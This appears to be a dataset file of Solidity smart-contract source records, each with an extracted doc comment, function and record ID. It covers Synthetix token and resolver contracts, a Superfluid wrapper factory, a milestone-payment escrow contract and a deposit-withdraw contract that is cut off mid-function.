collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint); function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to Synthetix function issueSynths(address from, uint amount) external; function issueSynthsOnBehalf( address issueFor, address from, uint amount ) external; function issueMaxSynths(address from) external; function issueMaxSynthsOnBehalf(address issueFor, address from) external; function burnSynths(address from, uint amount) external; function burnSynthsOnBehalf( address burnForAddress, address from, uint amount ) external; function burnSynthsToTarget(address from) external; function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external; function liquidateDelinquentAccount( address account, uint susdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getSynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.synths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); } // solhint-disable payable-fallback // https://docs.synthetix.io/contracts/source/contracts/readproxy contract ReadProxy is Owned { address public target; constructor(address _owner) public Owned(_owner) {} function setTarget(address _target) external onlyOwner { target = _target; emit TargetUpdated(target); } function() external { // The basics of a proxy read call // Note that msg.sender in the underlying will always be the address of this contract. assembly { calldatacopy(0, 0, calldatasize) // Use of staticcall - this will revert if the underlying function mutates state let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) if iszero(result) { revert(0, returndatasize) } return(0, returndatasize) } } event TargetUpdated(address newTarget); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress( name, string(abi.encodePacked("Resolver missing target: ", name)) ); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } // https://docs.synthetix.io/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // https://docs.synthetix.io/contracts/source/interfaces/isystemstatus interface ISystemStatus { struct Status { bool canSuspend; bool canResume; } struct Suspension { bool suspended; // reason is an integer code, // 0 => no reason, 1 => upgrading, 2+ => defined by system usage uint248 reason; } // Views function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume); function requireSystemActive() external view; function requireIssuanceActive() external view; function requireExchangeActive() external view; function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function requireSynthActive(bytes32 currencyKey) external view; function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function systemSuspension() external view returns (bool suspended, uint248 reason); function issuanceSuspension() external view returns (bool suspended, uint248 reason); function exchangeSuspension() external view returns (bool suspended, uint248 reason); function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function getSynthExchangeSuspensions(bytes32[] calldata synths) external view returns (bool[] memory exchangeSuspensions, uint256[] memory reasons); function getSynthSuspensions(bytes32[] calldata synths) external view returns (bool[] memory suspensions, uint256[] memory reasons); // Restricted functions function suspendSynth(bytes32 currencyKey, uint256 reason) external; function updateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) external; } // https://docs.synthetix.io/contracts/source/interfaces/ifeepool interface IFeePool { // Views // solhint-disable-next-line func-name-mixedcase function FEE_ADDRESS() external view returns (address); function feesAvailable(address account) external view returns (uint, uint); function feePeriodDuration() external view returns (uint); function isFeesClaimable(address account) external view returns (bool); function targetThreshold() external view returns (uint); function totalFeesAvailable() external view returns (uint); function totalRewardsAvailable() external view returns (uint); // Mutative Functions function claimFees() external returns (bool); function claimOnBehalf(address claimingForAddress) external returns (bool); function closeCurrentFeePeriod() external; // Restricted: used internally to Synthetix function appendAccountIssuanceRecord( address account, uint lockedAmount, uint debtEntryIndex ) external; function recordFeePaid(uint sUSDAmount) external; function setRewardsToDistribute(uint amount) external; } interface IVirtualSynth { // Views function balanceOfUnderlying(address account) external view returns (uint); function rate() external view returns (uint); function readyToSettle() external view returns (bool); function secsLeftInWaitingPeriod() external view returns (uint); function settled() external view returns (bool); function synth() external view returns (ISynth); // Mutative functions function settle(address account) external; } // https://docs.synthetix.io/contracts/source/interfaces/iexchanger interface IExchanger { // Views function calculateAmountAfterSettlement( address from, bytes32 currencyKey, uint amount, uint refunded ) external view returns (uint amountAfterSettlement); function isSynthRateInvalid(bytes32 currencyKey) external view returns (bool); function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint); function settlementOwing(address account, bytes32 currencyKey) external view returns ( uint reclaimAmount, uint rebateAmount, uint numEntries ); function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool); function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint exchangeFeeRate); function getAmountsForExchange( uint sourceAmount, bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey ) external view returns ( uint amountReceived, uint fee, uint exchangeFeeRate ); function priceDeviationThresholdFactor() external view returns (uint); function waitingPeriodSecs() external view returns (uint); // Mutative functions function exchange( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function settle(address from, bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function setLastExchangeRateForSynth(bytes32 currencyKey, uint rate) external; function suspendSynthWithInvalidRate(bytes32 currencyKey) external; } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/synth contract Synth is Owned, IERC20, ExternStateToken, MixinResolver, ISynth { /* ========== STATE VARIABLES ========== */ // Currency key which identifies this Synth to the Synthetix system bytes32 public currencyKey; uint8 public constant DECIMALS = 18; // Where fees are pooled in sUSD address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF; /* ========== ADDRESS RESOLVER CONFIGURATION ========== */ bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus"; bytes32 private constant CONTRACT_EXCHANGER = "Exchanger"; bytes32 private constant CONTRACT_ISSUER = "Issuer"; bytes32 private constant CONTRACT_FEEPOOL = "FeePool"; /* ========== CONSTRUCTOR ========== */ constructor( address payable _proxy, TokenState _tokenState, string memory _tokenName, string memory _tokenSymbol, address _owner, bytes32 _currencyKey, uint _totalSupply, address _resolver ) public ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, _totalSupply, DECIMALS, _owner) MixinResolver(_resolver) { require(_proxy != address(0), "_proxy cannot be 0"); require(_owner != address(0), "_owner cannot be 0"); currencyKey = _currencyKey; } /* ========== MUTATIVE FUNCTIONS ========== */ function transfer(address to, uint value) public optionalProxy returns (bool) { _ensureCanTransfer(messageSender, value); // transfers to FEE_ADDRESS will be exchanged into sUSD and recorded as fee if (to == FEE_ADDRESS) { return _transferToFeeAddress(to, value); } // transfers to 0x address will be burned if (to == address(0)) { return _internalBurn(messageSender, value); } return super._internalTransfer(messageSender, to, value); } function transferAndSettle(address to, uint value) public optionalProxy returns (bool) { // Exchanger.settle ensures synth is active (, , uint numEntriesSettled) = exchanger().settle(messageSender, currencyKey); // Save gas instead of calling transferableSynths uint balanceAfter = value; if (numEntriesSettled > 0) { balanceAfter = tokenState.balanceOf(messageSender); } // Reduce the value to transfer if balance is insufficient after reclaimed value = value > balanceAfter ? balanceAfter : value; return super._internalTransfer(messageSender, to, value); } function transferFrom( address from, address to, uint value ) public optionalProxy returns (bool) { _ensureCanTransfer(from, value); return _internalTransferFrom(from, to, value); } function transferFromAndSettle( address from, address to, uint value ) public optionalProxy returns (bool) { // Exchanger.settle() ensures synth is active (, , uint numEntriesSettled) = exchanger().settle(from, currencyKey); // Save gas instead of calling transferableSynths uint balanceAfter = value; if (numEntriesSettled > 0) { balanceAfter = tokenState.balanceOf(from); } // Reduce the value to transfer if balance is insufficient after reclaimed value = value >= balanceAfter ? balanceAfter : value; return _internalTransferFrom(from, to, value); } /** * @notice _transferToFeeAddress function * non-sUSD synths are exchanged into sUSD via synthInitiatedExchange * notify feePool to record amount as fee paid to feePool */ function _transferToFeeAddress(address to, uint value) internal returns (bool) { uint amountInUSD; // sUSD can be transferred to FEE_ADDRESS directly if (currencyKey == "sUSD") { amountInUSD = value; super._internalTransfer(messageSender, to, value); } else { // else exchange synth into sUSD and send to FEE_ADDRESS amountInUSD = exchanger().exchange(messageSender, currencyKey, value, "sUSD", FEE_ADDRESS); } // Notify feePool to record sUSD to distribute as fees feePool().recordFeePaid(amountInUSD); return true; } function issue(address account, uint amount) external onlyInternalContracts { _internalIssue(account, amount); } function burn(address account, uint amount) external onlyInternalContracts { _internalBurn(account, amount); } function _internalIssue(address account, uint amount) internal { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function _internalBurn(address account, uint amount) internal returns (bool) { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); return true; } // Allow owner to set the total supply on import. function setTotalSupply(uint amount) external optionalProxy_onlyOwner { totalSupply = amount; } /* ========== VIEWS ========== */ // Note: use public visibility so that it can be invoked in a subclass function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { addresses = new bytes32[](4); addresses[0] = CONTRACT_SYSTEMSTATUS; addresses[1] = CONTRACT_EXCHANGER; addresses[2] = CONTRACT_ISSUER; addresses[3] = CONTRACT_FEEPOOL; } function systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function feePool() internal view returns (IFeePool) { return IFeePool(requireAndGetAddress(CONTRACT_FEEPOOL)); } function exchanger() internal view returns (IExchanger) { return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER)); } function issuer() internal view returns (IIssuer) { return IIssuer(requireAndGetAddress(CONTRACT_ISSUER)); } function _ensureCanTransfer(address from, uint value) internal view { require(exchanger().maxSecsLeftInWaitingPeriod(from, currencyKey) == 0, "Cannot transfer during waiting period"); require(transferableSynths(from) >= value, "Insufficient balance after any settlement owing"); systemStatus().requireSynthActive(currencyKey); } function transferableSynths(address account) public view returns (uint) { (uint reclaimAmount, , ) = exchanger().settlementOwing(account, currencyKey); // Note: ignoring rebate amount here because a settle() is required in order to // allow the transfer to actually work uint balance = tokenState.balanceOf(account); if (reclaimAmount > balance) { return 0; } else { return balance.sub(reclaimAmount); } } /* ========== INTERNAL FUNCTIONS ========== */ function _internalTransferFrom( address from, address to, uint value ) internal returns (bool) { // Skip allowance update in case of infinite allowance if (tokenState.allowance(from, messageSender) != uint(-1)) { // Reduce the allowance by the amount we're transferring. // The safeSub call will handle an insufficient allowance. tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); } return super._internalTransfer(from, to, value); } /* ========== MODIFIERS ========== */ modifier onlyInternalContracts() { bool isFeePool = msg.sender == address(feePool()); bool isExchanger = msg.sender == address(exchanger()); bool isIssuer = msg.sender == address(issuer()); require(isFeePool || isExchanger || isIssuer, "Only FeePool, Exchanger or Issuer contracts allowed"); _; } /* ========== EVENTS ========== */ event Issued(address indexed account, uint value); bytes32 private constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, addressToBytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 private constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, addressToBytes32(account), 0, 0); } }
false if our cache is invalid or if the resolver doesn't have the required address
function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; }
84,643
./full_match/11155111/0xfAc451d01F8003B751d91Ae3990056E52676CBDC/sources/project:/contracts/superfluid/SuperTokenFactory.sol
@inheritdoc ISuperTokenFactory
function createERC20Wrapper( IERC20Metadata underlyingToken, uint8 underlyingDecimals, Upgradability upgradability, string calldata name, string calldata symbol ) external override returns (ISuperToken superToken) { return createERC20Wrapper( underlyingToken, underlyingDecimals, upgradability, name, symbol, address(0) ); }
3,806,961
pragma solidity >=0.0; /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MilestoneTracker Contract /// @author Jordi Baylina /// @dev This contract tracks the /// is rules the relation between a donor and a recipient /// in order to guaranty to the donor that the job will be done and to guaranty /// to the recipient that he will be paid /// @dev We use the RLP library to decode RLP so that the donor can approve one /// set of milestone changes at a time. /// https://github.com/androlo/standard-contracts/blob/master/contracts/src/codec/RLP.sol import "RLP.sol"; /// @dev This contract allows for `recipient` to set and modify milestones contract MilestoneTracker { using RLP for RLP.RLPItem; using RLP for RLP.Iterator; using RLP for bytes; struct Milestone { string description; // Description of this milestone string url; // A link to more information (swarm gateway) uint minCompletionDate; // Earliest UNIX time the milestone can be paid uint maxCompletionDate; // Latest UNIX time the milestone can be paid address milestoneLeadLink; // Similar to `recipient`but for this milestone address reviewer; // Can reject the completion of this milestone uint reviewTime; // How many seconds the reviewer has to review address paymentSource; // Where the milestone payment is sent from bytes payData; // Data defining how much ether is sent where MilestoneStatus status; // Current status of the milestone // (Completed, AuthorizedForPayment...) uint doneTime; // UNIX time when the milestone was marked DONE } // The list of all the milestones. Milestone[] public milestones; address public recipient; // Calls functions in the name of the recipient address public donor; // Calls functions in the name of the donor address public arbitrator; // Calls functions in the name of the arbitrator enum MilestoneStatus { AcceptedAndInProgress, Completed, AuthorizedForPayment, Canceled } // True if the campaign has been canceled bool public campaignCanceled; // True if an approval on a change to `milestones` is a pending bool public changingMilestones; // The pending change to `milestones` encoded in RLP bytes public proposedMilestones; /// @dev The following modifiers only allow specific roles to call functions /// with these modifiers modifier onlyRecipient { if (msg.sender != recipient) revert(); _; } modifier onlyArbitrator { if (msg.sender != arbitrator) revert(); _; } modifier onlyDonor { if (msg.sender != donor) revert(); _; } /// @dev The following modifiers prevent functions from being called if the /// campaign has been canceled or if new milestones are being proposed modifier campaignNotCanceled { if (campaignCanceled) revert(); _; } modifier notChanging { if (changingMilestones) revert(); _; } // @dev Events to make the payment movements easy to find on the blockchain event NewMilestoneListProposed(); event NewMilestoneListUnproposed(); event NewMilestoneListAccepted(); event ProposalStatusChanged(uint idProposal, MilestoneStatus newProposal); event CampaignCanceled(); /////////// // Constructor /////////// /// @notice The Constructor creates the Milestone contract on the blockchain /// @param _arbitrator Address assigned to be the arbitrator /// @param _donor Address assigned to be the donor /// @param _recipient Address assigned to be the recipient constructor ( address _arbitrator, address _donor, address _recipient ) public { arbitrator = _arbitrator; donor = _donor; recipient = _recipient; } ///////// // Helper functions ///////// /// @return The number of milestones ever created even if they were canceled function numberOfMilestones() public view returns (uint) { return milestones.length; } //////// // Change players //////// /// @notice `onlyArbitrator` Reassigns the arbitrator to a new address /// @param _newArbitrator The new arbitrator function changeArbitrator(address _newArbitrator) public onlyArbitrator { arbitrator = _newArbitrator; } /// @notice `onlyDonor` Reassigns the `donor` to a new address /// @param _newDonor The new donor function changeDonor(address _newDonor) public onlyDonor { donor = _newDonor; } /// @notice `onlyRecipient` Reassigns the `recipient` to a new address /// @param _newRecipient The new recipient function changeRecipient(address _newRecipient) public onlyRecipient { recipient = _newRecipient; } //////////// // Creation and modification of Milestones //////////// /// @notice `onlyRecipient` Proposes new milestones or changes old /// milestones, this will require a user interface to be built up to /// support this functionality as asks for RLP encoded bytecode to be /// generated, until this interface is built you can use this script: /// https://github.com/Giveth/milestonetracker/blob/master/js/milestonetracker_helper.js /// the functions milestones2bytes and bytes2milestones will enable the /// recipient to encode and decode a list of milestones, also see /// https://github.com/Giveth/milestonetracker/blob/master/README.md /// @param _newMilestones The RLP encoded list of milestones; each milestone /// has these fields: /// string description, /// string url, /// uint minCompletionDate, // seconds since 1/1/1970 (UNIX time) /// uint maxCompletionDate, // seconds since 1/1/1970 (UNIX time) /// address milestoneLeadLink, /// address reviewer, /// uint reviewTime /// address paymentSource, /// bytes payData, function proposeMilestones(bytes memory _newMilestones ) public onlyRecipient campaignNotCanceled { proposedMilestones = _newMilestones; changingMilestones = true; emit NewMilestoneListProposed(); } //////////// // Normal actions that will change the state of the milestones //////////// /// @notice `onlyRecipient` Cancels the proposed milestones and reactivates /// the previous set of milestones function unproposeMilestones() public onlyRecipient campaignNotCanceled { delete proposedMilestones; changingMilestones = false; emit NewMilestoneListUnproposed(); } /// @notice `onlyDonor` Approves the proposed milestone list /// @param _hashProposals The keccak256() of the proposed milestone list's /// bytecode; this confirms that the `donor` knows the set of milestones /// they are approving function acceptProposedMilestones(bytes32 _hashProposals ) public onlyDonor campaignNotCanceled { uint i; if (!changingMilestones) revert(); if (keccak256(proposedMilestones) != _hashProposals) revert(); // Cancel all the unfinished milestones for (i=0; i<milestones.length; i++) { if (milestones[i].status != MilestoneStatus.AuthorizedForPayment) { milestones[i].status = MilestoneStatus.Canceled; } } // Decode the RLP encoded milestones and add them to the milestones list bytes memory mProposedMilestones = proposedMilestones; RLP.RLPItem memory itmProposals = mProposedMilestones.toRLPItem(true); if (!itmProposals.isList()) revert(); RLP.Iterator memory itrProposals = itmProposals.iterator(); while(itrProposals.hasNext()) { RLP.RLPItem memory itmProposal = itrProposals.next(); Milestone storage milestone = milestones.push(); if (!itmProposal.isList()) revert(); RLP.Iterator memory itrProposal = itmProposal.iterator(); milestone.description = itrProposal.next().toAscii(); milestone.url = itrProposal.next().toAscii(); milestone.minCompletionDate = itrProposal.next().toUint(); milestone.maxCompletionDate = itrProposal.next().toUint(); milestone.milestoneLeadLink = itrProposal.next().toAddress(); milestone.reviewer = itrProposal.next().toAddress(); milestone.reviewTime = itrProposal.next().toUint(); milestone.paymentSource = itrProposal.next().toAddress(); milestone.payData = itrProposal.next().toData(); milestone.status = MilestoneStatus.AcceptedAndInProgress; } delete proposedMilestones; changingMilestones = false; emit NewMilestoneListAccepted(); } /// @notice `onlyRecipientOrLeadLink`Marks a milestone as DONE and /// ready for review /// @param _idMilestone ID of the milestone that has been completed function markMilestoneComplete(uint _idMilestone) public campaignNotCanceled notChanging { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; if ( (msg.sender != milestone.milestoneLeadLink) &&(msg.sender != recipient)) revert(); if (milestone.status != MilestoneStatus.AcceptedAndInProgress) revert(); if (now < milestone.minCompletionDate) revert(); if (now > milestone.maxCompletionDate) revert(); milestone.status = MilestoneStatus.Completed; milestone.doneTime = now; emit ProposalStatusChanged(_idMilestone, milestone.status); } /// @notice `onlyReviewer` Approves a specific milestone /// @param _idMilestone ID of the milestone that is approved function approveCompletedMilestone(uint _idMilestone) public campaignNotCanceled notChanging { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; if ((msg.sender != milestone.reviewer) || (milestone.status != MilestoneStatus.Completed)) revert(); authorizePayment(_idMilestone); } /// @notice `onlyReviewer` Rejects a specific milestone's completion and /// reverts the `milestone.status` back to the `AcceptedAndInProgress` /// state /// @param _idMilestone ID of the milestone that is being rejected function rejectMilestone(uint _idMilestone) public campaignNotCanceled notChanging { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; if ((msg.sender != milestone.reviewer) || (milestone.status != MilestoneStatus.Completed)) revert(); milestone.status = MilestoneStatus.AcceptedAndInProgress; emit ProposalStatusChanged(_idMilestone, milestone.status); } /// @notice `onlyRecipientOrLeadLink` Sends the milestone payment as /// specified in `payData`; the recipient can only call this after the /// `reviewTime` has elapsed /// @param _idMilestone ID of the milestone to be paid out function requestMilestonePayment(uint _idMilestone ) public campaignNotCanceled notChanging { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; if ( (msg.sender != milestone.milestoneLeadLink) &&(msg.sender != recipient)) revert(); if ((milestone.status != MilestoneStatus.Completed) || (now < milestone.doneTime + milestone.reviewTime)) revert(); authorizePayment(_idMilestone); } /// @notice `onlyRecipient` Cancels a previously accepted milestone /// @param _idMilestone ID of the milestone to be canceled function cancelMilestone(uint _idMilestone) public onlyRecipient campaignNotCanceled notChanging { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; if ((milestone.status != MilestoneStatus.AcceptedAndInProgress) && (milestone.status != MilestoneStatus.Completed)) revert(); milestone.status = MilestoneStatus.Canceled; emit ProposalStatusChanged(_idMilestone, milestone.status); } /// @notice `onlyArbitrator` Forces a milestone to be paid out as long as it /// has not been paid or canceled /// @param _idMilestone ID of the milestone to be paid out function arbitrateApproveMilestone(uint _idMilestone ) public onlyArbitrator campaignNotCanceled notChanging { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; if ((milestone.status != MilestoneStatus.AcceptedAndInProgress) && (milestone.status != MilestoneStatus.Completed)) revert(); authorizePayment(_idMilestone); } /// @notice `onlyArbitrator` Cancels the entire campaign voiding all /// milestones. function arbitrateCancelCampaign() public onlyArbitrator campaignNotCanceled { campaignCanceled = true; emit CampaignCanceled(); } // @dev This internal function is executed when the milestone is paid out function authorizePayment(uint _idMilestone) internal { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; // Recheck again to not pay twice if (milestone.status == MilestoneStatus.AuthorizedForPayment) revert(); milestone.status = MilestoneStatus.AuthorizedForPayment; (bool success,) = milestone.paymentSource.call.value(0)(milestone.payData); require(success); emit ProposalStatusChanged(_idMilestone, milestone.status); } }
`onlyRecipientOrLeadLink` Sends the milestone payment as specified in `payData`; the recipient can only call this after the `reviewTime` has elapsed _idMilestone ID of the milestone to be paid out
function requestMilestonePayment(uint _idMilestone ) public campaignNotCanceled notChanging { if (_idMilestone >= milestones.length) revert(); Milestone storage milestone = milestones[_idMilestone]; if ( (msg.sender != milestone.milestoneLeadLink) &&(msg.sender != recipient)) revert(); if ((milestone.status != MilestoneStatus.Completed) || (now < milestone.doneTime + milestone.reviewTime)) revert(); authorizePayment(_idMilestone); }
15,850,346
pragma solidity >=0.4.18 <0.7.0; import '../solidity-lib/openzeppelin-solidity-112/contracts/ownership/Claimable.sol'; import '../solidity-lib/openzeppelin-solidity-112/contracts/lifecycle/TokenDestructible.sol'; import '../solidity-lib/openzeppelin-solidity-112/contracts/token/ERC20/ERC20.sol'; import '../solidity-lib/openzeppelin-solidity-112/contracts/math/SafeMath.sol'; import './OwnerContract.sol'; import './Withdrawable.sol'; import './DRCWalletMgrParamsInterface.sol'; /** * contract that can deposit and withdraw tokens */ contract DepositWithdraw is Claimable, Withdrawable, TokenDestructible { using SafeMath for uint256; /** * transaction record */ struct TransferRecord { uint256 timeStamp; address account; uint256 value; } /** * accumulated transferring amount record */ struct AccumulatedRecord { uint256 mul; uint256 count; uint256 value; } TransferRecord[] deposRecs; // record all the deposit tx data TransferRecord[] withdrRecs; // record all the withdraw tx data AccumulatedRecord dayWithdrawRec; // accumulated amount record for one day AccumulatedRecord monthWithdrawRec; // accumulated amount record for one month address payable wallet; // the binded withdraw address event ReceiveDeposit(address _from, uint256 _value, address _token, bytes _extraData); /** * @dev constructor of the DepositWithdraw contract * @param _wallet the binded wallet address to this depositwithdraw contract */ constructor(address payable _wallet) public { require(_wallet != address(0)); wallet = _wallet; } /** * @dev set the default wallet address * @param _wallet the default wallet address binded to this deposit contract */ function setWithdrawWallet(address payable _wallet) public onlyOwner returns (bool) { require(_wallet != address(0)); wallet = _wallet; return true; } /** * @dev util function to change bytes data to bytes32 data * @param _data the bytes data to be converted */ function bytesToBytes32(bytes memory _data) public pure returns (bytes32 result) { assembly { result := mload(add(_data, 32)) } } /** * @dev receive approval from an ERC20 token contract, take a record * * @param _from address The address which you want to send tokens from * @param _value uint256 the amounts of tokens to be sent * @param _token address the ERC20 token address * @param _extraData bytes the extra data for the record */ function receiveApproval(address _from, uint256 _value, address _token, bytes memory _extraData) public onlyOwner { require(_token != address(0)); require(_from != address(0)); ERC20 tk = ERC20(_token); require(tk.transferFrom(_from, address(uint160(address(this))), _value)); bytes32 timestamp = bytesToBytes32(_extraData); deposRecs.push(TransferRecord(uint256(timestamp), _from, _value)); emit ReceiveDeposit(_from, _value, _token, _extraData); } // function authorize(address _token, address _spender, uint256 _value) onlyOwner public returns (bool) { // ERC20 tk = ERC20(_token); // require(tk.approve(_spender, _value)); // return true; // } /** * @dev record withdraw into this contract * * @param _time the timstamp of the withdraw time * @param _to is where the tokens will be sent to * @param _value is the number of the token */ function recordWithdraw(uint256 _time, address payable _to, uint256 _value) public onlyOwner { withdrRecs.push(TransferRecord(_time, _to, _value)); } /** * @dev check if withdraw amount is not valid * * @param _params the limitation parameters for withdraw * @param _value is the number of the token * @param _time the timstamp of the withdraw time */ function checkWithdrawAmount(address _params, uint256 _value, uint256 _time) public returns (bool) { IDRCWalletMgrParams params = 